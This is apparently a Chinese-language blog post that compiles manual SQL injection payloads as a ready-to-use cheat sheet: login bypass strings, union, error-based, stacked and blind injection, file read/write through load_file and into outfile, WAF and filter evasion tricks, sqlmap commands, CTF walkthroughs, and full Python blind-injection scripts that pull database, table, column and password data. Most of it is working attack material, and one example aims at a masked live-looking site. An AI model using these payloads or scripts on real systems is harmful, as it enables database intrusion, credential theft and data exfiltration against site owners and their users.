优秀的人,不是不合群,而是他们合群的人里面没有你
本文主要汇总手工SQL注入方法合集,达到直接使用的目的,同时把sqlmap一些常用命令和脚本做成备忘录。
万能密码
登录框勇敢的输入:
admin' or 1=1%23
admin' or 1=1%23--+
最常见的字符型/数字型手工注入
首先分两步测试是否存在注入
?id=1’ and 1=1--+
?id=1’ and 1=2--+
两个页面不一样,存在注入,也可能包含其他的闭合方式,或者数字型,比如
?id=1 and 1=1--+
?id=1 and 3-1=1--+
还可能存在其他的闭合方式
‘
“
)
‘)
“)
‘))
如果存在注入,继续探测有多少个列
?id=1’ order by 2--+
?id=1’ order by 3--+
?id=1’ order by 4--+ 出错了,说明只有三个
继续探测哪儿能显示
?id=-1' union select 1,2,3--+
给个错误的输入,看看哪儿能回显数据,还能用or继续添加,比如举个例子:xxx=admin’ or 1=1 union select 1,flag,3 from flag#
?id=-1' union select 1,database(),user()--+
根据正常回显的数值,查看当前数据库和用户,还能获取到的数据有:
version() 数据库版本
database() 当前数据库名
user() 用户
@@datadir 数据库路径(这里没有括号哦)
@@basedir 安装路径
假如的到数据库名为security
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+
查看当前有哪些表,假如存在表user
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
查看users表有哪些列的数据,假如存在username,password
?id=-1' union select 1,2,group_concat(username,password) from users--+
获取user表中username,password的内容
下面介绍一个小技巧,可以获取所有的表或者所有的列
http://www.*****.com/chapter.php?id=-20 union seleCt 1,2,3,4,5,group_concat(TABLE_NAME,0x3c2f62723e),7,8,9,10,11,12,13,14,15,database(),17,18,19,20 from information_schema.TABLES where TABLE_SCHEMA='comic_db'#
http://www.*****.com/chapter.php?id=-20 union seleCt 1,2,3,4,5,group_concat(column_NAME,0x3c2f62723e),7,8,9,10,11,12,13,14,15,16,17,18,19,20 from information_schema.columnS where TABLE_name='user'
http://www.*****.com/chapter.php?id=-1' union select 1,group_concat(user,0x3c2f62723e,password) from users#
强制报错注入1
比较复杂,简单的使用公式吧,就是前面正常注入,一直到order by都是正常的,一直到union select 123发现没有回显,这个时候可以尝试一下公式
?id=1'and (select 1 from (select count(*),concat(database(),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+
这里你可以把公式中的database()替换成user()等去探测别的信息,并且通过强制报错可以不用去探测字段数
如果回显出数据库名,接下来探测表名
?id=1'and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+
?id=1'and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 1,1),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+
?id=1'and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+
?id=1'and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 3,1),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+
但因为公式的限制一次只能回显一个,注意这里别忘了limit限制输出,继续查询下一个表名用limit 1,1 再后面的就是limit 2,1
?id=1'and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+
?id=1'and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 2,1),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+
?id=1'and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name='users' limit 5,1),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+
然后直接探测数据
?id=1'and (select 1 from (select count(*),concat((select concat(username,':',password) from users limit 3,1),':',floor(rand()*2)) as a from information_schema.tables group by a)as b limit 0,1)--+
强制报错注入2
?id=1' and updatexml(1,concat(0x7e,(select database() ),0x7e),1) --+
'回显:XPATH syntax error: '~security~'
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security' ),0x7e),1) --+
'回显:XPATH syntax error: '~emails,referers,uagents,users~'
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),0x7e),1)--+
'回显:XPATH syntax error: '~id,username,password~'
?id=1' and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1)--+
'回显:XPATH syntax error: '~Dumb,Angelina,Dummy,secure,stup'
堆叠注入
和命令执行方法差不多,就是同时执行2条sql语句一起查询
语法如下
测试注入
1';show tables --+
查看字段
-1';show columns from `1919810931114514` --+
-1';show columns from `words` --+
查看值,需要绕过select的限制,我们可以使用预编译的方式
-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
拆分开来如下:
-1';
set @sql = CONCAT('se','lect * from `1919810931114514`;');
prepare stmt from @sql;
EXECUTE stmt; #
基础盲注
测试注入,来判断数据库长度
1' and length(database())>8-- qwe
判断第一位字符是否为s
1' and substr(database(),1,1)='S' -- qwe
写入文件或者读取文件
文件读取
首先需要判断是否存在写入或者读取文件的权限
and (select count(*) from mysql.user)>0--+
/*如果结果返回正常,说明具有读写权限.*/
and (select count(*) from mysql.user)>0--+
/* 返回错误,应该是管理员给数据库账户降权了*/
然后直接读取就行,并且读取的时候一定要有完整的路径
?id=1' union select 1,2,load_file 'etc/hosts' --+
文件写入
要获取网站路径获取方法:
- phpinfo.php文件,一般在根目录下存在php.php info.php phpinfo.php,test.php php_info.php等。
- 报错路径然后读取文件。
- 默认配置文件,可以百度搜索某cms的对应配置文件,找到链接数据库文件,读取数据库账号密码。
然后直接执行就能写入
?id=1' union select 1,2,'浪子好帅啊' into outfile('完整的WEB目录')--+
文件写入的绕过方法
如果PHP中magic_quotes_gpc=on,也就是魔术引号手开启自动过滤单引号双引号斜杠,那么读取写入文件时候,加在路劲边上的单引号就会被过滤掉,这时候前面学的函数char()和hex()就能派上用场了
比如我要读取/etc/host文件,先把它转换成ascii码
import sys
for x in (‘/etc/host’):sys.stdout.write(str(ord(x))+',')
然后直接执行
?id=-1 union select 1,2,load_file(char(47,101,116,99,47,104,111,115,116,115))--+
另一个方法是使用hex方法
import sys
for x in ('/etc/host'):
sys.stdout.write(str(x).encode('hex')+',')
然后直接执行
?id=-1 union select 1,2,load_file(0x2f6574632f686f737473)--+
注释符过滤
【#】 在URL中需要转换一下编码格式变成【%23】
【-–+】或者【–空格任意符号】
【-- -】这个玩意新学的,贼好使
【·】 该符号在键盘~的下面
【;%00】%00是MYSQL的截断符号
【/*】 或者【/*!字母*/】该符号仅在MYSQL-5.1中有效
如果这些都被过滤了,就单引号闭合好了~
/?id=1' or '1'='1
数字型因为不用注释符,所以不用考虑
and or过滤
【And】大小写绕过
【aandnd】复写绕过
【&&】代替and
【||】代替or
逗号过滤
union select 1,2,3
替换成下面的写法
union select * from ((select 1)a JOIN (select 2)b JOIN (select 3)c)%23
就是这个样子
/?id=1' union select * from (select 1)a join (select 2)b join (select 3)c --+
substr(user(),1,1)等价于substr((user()) from 1 for 1)
union和select过滤
【大小写绕过】
【复写绕过】
空格过滤
%0a,%0b,%0c,%0d,%09,%a0,%20
基于注释符号【/**/】插入代替空格
使用【+】号代替空格
其中~可以加在select后面,比如select~1,2%23
带入的变量可以加上括号,比如select * from user where name like (‘%sb%’)
=过滤
= 是等于
mysql的不等于用 <> 表示
那么!<> 不等于取非就是等于了
table_schema=databases() -> !(table_schema<>databases())
用注入的代码举个例子
id = 1' -- - 判断出是单号闭合
id = 1' union select 1,2,3 -- - 存在3列
id=-1%27union select 1,(select group_concat(table_name) from information_schema.tables where !(table_schema<>database())),3 -- -
id=-1%27union select 1,(select group_concat(column_name) from information_schema.columns where !(table_name<>'fl444444ag')),3 -- -
id=-1%27union select 1,(select group_concat(f1444agg) from
fl444444ag),3 -- -
宽字节绕过
对于字符型注入,我们通常要使用 ‘ 、”、’)、”) 等进行闭合,而若在前面加上\ (反斜杠),则会使闭合符号失效,达不到闭合的效果,从而导致注入失败。
将 %df 和 \ 组合到一起 = %df\ -->一个无法识别的中文字符。
就这样:
/?id=1 %df' --+
id=-1%df' union select 1,2,3--+
注:使用%df使转译函数失效
sqlmap
检测注入
sqlmap -u 'http://xx/?id=1'
获取当前使用的数据库
sqlmap -u 'http://xx/?id=1' --current-db
查看所有「数据库」
sqlmap -u 'http://xx/?id=1' --dbs
查看「数据表」
sqlmap -u 'http://xx/?id=1' -D 'security' --tables
查看「字段」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --tables
查看「数据」
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --dump
post请求
检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。
-r 指定需要检测的文件,SQLmap会通过post请求方式检测目标。
sqlmap -r bp.txt
cookie注入
sqlmap -u "http://xx?id=x" --cookie 'cookie'
post注入 新增高等级绕过,就是空格替换成/**/
sqlmap sqlmap.py -u http://a3e47825-aaf6-491d-ab9c-dd60bdcefbff.challenge.ctf.show/index.php --data="username=1&password=1" --level=4 --tamper="space2comment.py
例题1
题目:
if($array[1] == "admin"){
if(md5($pwd) == $array[2]){
echo $flag;
}
else{
……
}
}
提示:
select * from user where username = '$name'
答案
1. name=a%27&pw=11
单引号报错,存在注入
2. name=a%27 union select 1,2,3--+&pw=11
到3都能正常显示,说明三个
3. name=a%27 union select 'admin',2,3--+&pw=11
name=a%27 union select 1,'admin',3--+&pw=11
name=a%27 union select 1,2,'admin'--+&pw=11
根据已知的条件name中有admin,那么测试一下admin在哪个字段
4. name=1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456
根据提示,给123456进过md5加密带入运算
这里必须要有注释符号
结合在一起就是:select * from user where username = '1' union select 1,'admin','e10adc3949ba59abbe56e057f20f883e'#&pw=123456'
例题2
// 测试是否存在注入点
1 (有弹窗有回显)
1' (有弹窗无回显)
1#' (有弹窗有回显)
// 存在注入点
// 测试列数
1 order by 1 (无弹窗)
// 猜测某些字符被过滤
// 使用 /**/ 替换空格后再进行测试
1/**/order/**/by/**/1 (有弹窗有回显)
1/**/order/**/by/**/2 (有弹窗无回显)
// 列数为1
// 收集数据库相关信息
-1/**/union/**/select/**/database()(web)
-1/**/union/**/select/**/user()(root@localhost)
-1/**/union/**/select/**/version()(10.2.26-MariaDB-log)
-1/**/union/**/select/**/@@version_compile_os(Linux)
// --dbs
-1/**/union/**/select(group_concat(schema_name))from(information_schema.schemata)
// information_schema, mysql, performance_schema, web
// --tables
-1/**/union/**/select(group_concat(table_name))from(information_schema.tables)where(table_schema='web')(无弹窗)
// 测试发现 information_schema.tables 被过滤
// 使用 mysql.innodb_table_stats 绕过
-1/**/union/**/select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name='web')
// content
// --columns
-1/**/union/**/select(group_concat(column_name))from(information_schema.columns)where(table_schema='web'/**/and/**/table_name='content')(无弹窗)
// 测试发现 information_schema.columns 被过滤
// 使用无列名注入
// 依次获取各列的数据
-1/**/union/**/select(group_concat(`1`))from(select/**/1,2,3/**/union/**/select*from(content))vt
-1/**/union/**/select(group_concat(`2`))from(select/**/1,2,3/**/union/**/select*from(content))vt
-1/**/union/**/select(group_concat(`3`))from(select/**/1,2,3/**/union/**/select*from(content))vt
1, admin, flag is not here!
2, gtf1y, wow,you can really dance
3, Wow, tell you a secret,secret has a secret...
// Flag 不在数据库中
// 根据提示 tell you a secret,secret has a secret... 和主页中的 include("secret.php")
// 尝试读取 secret.php 文件
// 数据库用户为 root, 使用高权限读写注入
// 操作系统为 linux, 中间件为 nginx
// 先读取 nginx 配置文件, 确认下网页根路径
-1/**/union/**/select/**/load_file("/etc/nginx/nginx.conf")
// 确认网页根路径为 /var/www/html
// 读取 secret.php 文件
-1/**/union/**/select/**/load_file("/var/www/html/secret.php")
// 页面源代码中可以看到 file_get_contents('/real_flag_is_here');
// 读取 real_flag_is_here
-1/**/union/**/select/**/load_file("/real_flag_is_here")
盲注脚本
案例1
这个假设给出表是flag,列也是flag,求值
import requests
url = "http://111.33.14.218:29629/index.php"
flag = ""
i = 0
while True:
i = i + 1
letf = 32
right = 127
while letf < right:
mid = (letf + right) // 2
payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{mid},1,2)"
data = {"id": payload}
res = requests.post(url=url, data=data).text
if "Hello" in res:
letf = mid + 1
else:
right = mid
if letf != 32:
flag += chr(letf)
print(flag)
else:
break
案例2
这个啥都没有,自己看着修改
import requests
#设置靶场网址
url = "http://192.168.1.190/sqli-labs/Less-8/?id=1' and "
#设置请求头信息
headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0'
}
#设置页面返回的正确信息和错误信息
flagFalse = ""
flagTrue = "You are in..........."
#一、查找数据库名长度(适用于有错误回显信息)
# for i in range(1,101): #假定数据库名的长度不大于100
# database_length = 0 #存储数据库名长度
# #设置要拼接的url,查询数据库名的长度
# url1 = f"length((select database()))>{i}--+"
# s = requests.get(url+url1,headers=headers)
# if flagFalse in s.content.decode():
# database_length = i
# break
"""适用于没有回显信息"""
for i in range(20,0,-1): #假定数据库名的长度不大于100
database_length = 0 #存储数据库名长度
#设置要拼接的url,查询数据库名的长度
url1 = f"length((select database()))>{i}--+"
s = requests.get(url+url1,headers=headers)
if flagTrue in s.content.decode():
database_length = i + 1
break
#接下来开始判断数据库名具体是什么,使用折半查找方式与阿斯克码值查找
# 由于数据库名由下划线、数字、字母组成,所以最小为48:0,最大为z:122,下划线:95
#二、查找数据库名
database_name = ''
for i in range(1,database_length+1):
low = 48 #最小值
high = 122 #最大值
mid = int((low + high) / 2) # 中间值
while low<high:
url2 = f"ascii(substr((select database()),{i},1))>{mid}--+" #查找数据库名
s = requests.get(url + url2, headers=headers)
if flagTrue in s.content.decode():
low = mid + 1
#low = mid
else:
high = mid
#high = mid - 1
mid = int((low + high) / 2) # 中间值
database_name = database_name + chr(mid) #chr函数可以将数字以阿斯克码的形式转化为对应的字母
print(f"数据库名为:{database_name}")
#三、判断所有表名字符长度(适用于有回显信息)
# for i in range(1,101): #假定所有表名的长度不大于100
# table_length = 0 #存储所有表名长度
# url3 = f'length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>{i}--+'
# s = requests.get(url+url3,headers=headers)
# if flagFalse in s.content.decode():
# table_length = i
# break
"""适用于没有回显信息"""
for i in range(100,0,-1): #假定所有表名的长度不大于100
table_length = 0 #存储所有表名长度
url3 = f'length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>{i}--+'
s = requests.get(url+url3,headers=headers)
if flagTrue in s.content.decode():
table_length = i+1
break
#四、查找所有表名
table_name = ''
for i in range(1,table_length+1):
low = 48 #最小值
high = 122 #最大值
mid = int((low + high) / 2) # 中间值
while low<high:
url4 = f"ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{mid}--+"
s = requests.get(url + url4, headers=headers)
if flagTrue in s.content.decode():
low = mid + 1
#low = mid
else:
high = mid
#high = mid - 1
mid = int((low + high) / 2) # 中间值
table_name = table_name + chr(mid) #chr函数可以将数字以阿斯克码的形式转化为对应的字母
print(f"{database_name}数据库下有表:{table_name}")
#五、判断所有字段名的长度(适用于有错误回显)
# for i in range(1,101): #假定所有字段名的长度不大于100
# column_length = 0 #存储所有字段名长度
# url5 = f'length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))>{i}--+'
# s = requests.get(url+url5,headers=headers)
# if flagFalse in s.content.decode():
# column_length = i
# break
"""适用于没有回显信息"""
for i in range(100,0,-1): #假定所有字段名的长度不大于100
column_length = 0 #存储所有字段名长度
url5 = f'length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="users"))>{i}--+'
s = requests.get(url+url5,headers=headers)
if flagTrue in s.content.decode():
column_length = i
break
#六、查找所有字段名
column_name = ''
for i in range(1,column_length+1):
low = 48 #最小值
high = 122 #最大值
mid = int((low + high) / 2) # 中间值
while low<high:
url6 = f"ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{mid}--+"
s = requests.get(url + url6, headers=headers)
if flagTrue in s.content.decode():
low = mid + 1
#low = mid
else:
high = mid
#high = mid - 1
mid = int((low + high) / 2) # 中间值
column_name = column_name + chr(mid) #chr函数可以将数字以阿斯克码的形式转化为对应的字母
print(f"表下有:{column_name}字段")
#七、判断一个字段下所有数据的长度(适用于有错误回显)
# for i in range(1,501): #假定所有数据的长度不大于500
# data_length = 0 #存储所有字段名长度
# url7 = f'length((select group_concat(username,id,password) from users))>{i}--+'
# s = requests.get(url+url7,headers=headers)
# if flagFalse in s.content.decode():
# data_length = i
# break
"""适用于没有回显信息"""
for i in range(500,0,-1): #假定所有数据的长度不大于500
data_length = 0 #存储所有字段名长度
url7 = f'length((select group_concat(username,id,password) from users))>{i}--+'
s = requests.get(url+url7,headers=headers)
if flagFalse in s.content.decode():
data_length = i
break
#八、查找所有数据
data = ''
for i in range(1,data_length+1):
low = 32 #最小值
high = 128 #最大值
mid = int((low + high) / 2) # 中间值
while low<high:
url8 = f"ascii(substr((select group_concat(username,id,password) from users),{i},1))>{mid}--+"
s = requests.get(url + url8, headers=headers)
if flagTrue in s.content.decode():
low = mid + 1
#low = mid
else:
high = mid
#high = mid - 1
mid = int((low + high) / 2) # 中间值
data = data + chr(mid)
print(f"表下有数据:{data}")
案例3
需要登录的情况下,这个比上面一个好用,修改修改就可以用
数据库
import string
import requests
url = 'http://web.jarvisoj.com:32787/login.php'
s = string.digits + string.ascii_letters + string.punctuation #数字+大小写字母
payload = {
'username' : '',
'password' : 1
}
result = ''
username_template = "'or/**/ascii(substr(database(),{0},1))={1}#" #注入命令
st = 0
for i in range(1,50): #i为库名长度
st = 0
for c in s :
asc = ord(c) #转为ASCII值
payload['username'] = username_template.format(i,asc)
response = requests.post(url, data=payload)
if len(response.text) < 1192 : #返回长度,可通过添加print(len(response.text))计算
result += c
print('database: ', result)
st = 1
if st == 0:
break
print('database: ', result)
表名
import string
import requests
url = 'http://web.jarvisoj.com:32787/login.php'
s = string.digits + string.ascii_letters + string.punctuation
payload = {
'username' : '',
'password' : 1
}
result = ''
username_template = "'or/**/ascii(substr((select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=database()),{0},1))={1}#"
st = 0
for i in range(1,50):
st = 0
for c in s :
asc = ord(c)
payload['username'] = username_template.format(i,asc)
response = requests.post(url, data=payload)
if len(response.text) < 1192 :
result += c
print('tables: ', result)
st = 1
if st == 0:
break
print('tables: ', result)
列名
import string
import requests
url = 'http://web.jarvisoj.com:32787/login.php'
s = string.digits + string.ascii_letters + string.punctuation
payload = {
'username' : '',
'password' : 1
}
result = ''
username_template = "'or/**/ascii(substr((select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name='admin'),{0},1))={1}#"
st = 0
for i in range(1,50):
st = 0
for c in s :
asc = ord(c)
payload['username'] = username_template.format(i,asc)
response = requests.post(url, data=payload)
if len(response.text) < 1192 :
result += c
print('columns: ', result)
st = 1
if st == 0:
break
print('columns: ', result)
数据
import string
import requests
url = 'http://web.jarvisoj.com:32787/login.php'
s = string.digits + string.ascii_letters + string.punctuation
payload = {
'username' : '',
'password' : 1
}
result = ''
username_template = "'or/**/ascii(substr((select/**/password/**/from/**/admin),{0},1))={1}#"
st = 0
for i in range(1,50):
st = 0
for c in s :
asc = ord(c)
payload['username'] = username_template.format(i,asc)
response = requests.post(url, data=payload)
if len(response.text) < 1192 :
result += c
print('password: ', result)
st = 1
if st == 0:
break
print('password: ', result)